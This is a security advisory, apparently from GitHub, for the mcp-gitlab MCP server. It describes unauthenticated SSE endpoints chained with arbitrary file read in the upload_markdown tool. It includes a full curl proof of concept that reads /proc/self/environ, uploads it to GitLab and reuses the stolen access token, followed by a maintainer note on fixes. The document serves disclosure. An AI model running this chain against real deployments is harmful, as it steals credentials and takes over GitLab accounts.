Summary

The SSE transport mode (SSE=true) exposes all MCP tools without any authentication. The upload_markdown tool reads arbitrary files from the server's local filesystem via an unsanitized file_path parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read /proc/self/environ to steal the server's GITLAB_PERSONAL_ACCESS_TOKEN and achieve full GitLab account takeover. This is the default configuration for Docker deployments.

Details

Two issues chain together:

1. No authentication on SSE transport (src/index.ts:7350-7388)

When SSE=true (the intended mode for Docker deployments per docker-compose.yaml), the /sse and /messages endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.

// src/index.ts:7354 — no auth check
app.get("/sse", async (_: Request, res: Response) => {
    const serverInstance = createServer();
    const transport = new SSEServerTransport("/messages", res);
    await serverInstance.connect(transport);
});

Remote Authorization (REMOTE_AUTHORIZATION=true) is explicitly incompatible with SSE mode (src/index.ts:1833-1839), so there is no way to add per-request auth in this transport.

2. Arbitrary file read in upload_markdown (src/index.ts:5461-5503)

The upload_markdown tool calls fs.readFileSync(filePath) where filePath comes directly from user input with no validation. The Zod schema (src/schemas.ts:2150-2153) defines file_path as z.string() with no path restrictions, allowlists, or sandboxing.

async function markdownUpload(projectId: string, filePath: string) {
    if (!fs.existsSync(filePath)) {
        throw new Error(`File not found: ${filePath}`);
    }
    const fileBuffer = fs.readFileSync(filePath);  // Arbitrary file read — no path validation
    // ... uploads to GitLab project via POST /projects/:id/uploads
}

This tool is in the users toolset, which is enabled by default.

Docker amplification: The Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default, exposing the unauthenticated endpoint to the network.

PoC

Prerequisites:

• A running @zereight/mcp-gitlab instance with SSE=true and GITLAB_PERSONAL_ACCESS_TOKEN set (this is the default Docker deployment config)
• Network access to the server's port (default: 3002)
• A GitLab project ID the PAT has write access to (use list_projects to enumerate)

Steps:

# 1. Connect to the unauthenticated SSE endpoint and capture the session ID
SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')

# 2. (Optional) Enumerate accessible projects to find a writable project ID
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "list_projects",
      "arguments": {"owned": true}
    }
  }'

# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)
#    and upload it to a GitLab project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "upload_markdown",
      "arguments": {
        "project_id": "<WRITABLE_PROJECT_ID>",
        "file_path": "/proc/self/environ"
      }
    }
  }'

# 4. The response contains a GitLab upload URL like:
#    {"markdown": "![environ](/uploads/abc123def456/environ)", "url": "/uploads/abc123def456/environ"}
#
# 5. Retrieve the uploaded file from GitLab:
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"

# 6. The file contains NUL-separated environment variables including:
#    GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
#
# 7. Use the stolen PAT for full GitLab API access:
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"

Other exfiltrable targets (running as root in Docker):

Impact

Unauthenticated full GitLab account takeover. Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments

Maintainer update (2026-07-26)

@gil-maman-p Thanks for the report.

The runtime mitigations shipped in v2.1.27 (#554 — SSE auth guard, #482 — remote upload_markdown blocks file_path). Changelog documentation landed on main via #622 (merge commit 73d198c).

Could you confirm on your setup that v2.1.27+ with SSE_AUTH_TOKEN set addresses the issue? We'll keep this advisory open until we hear back.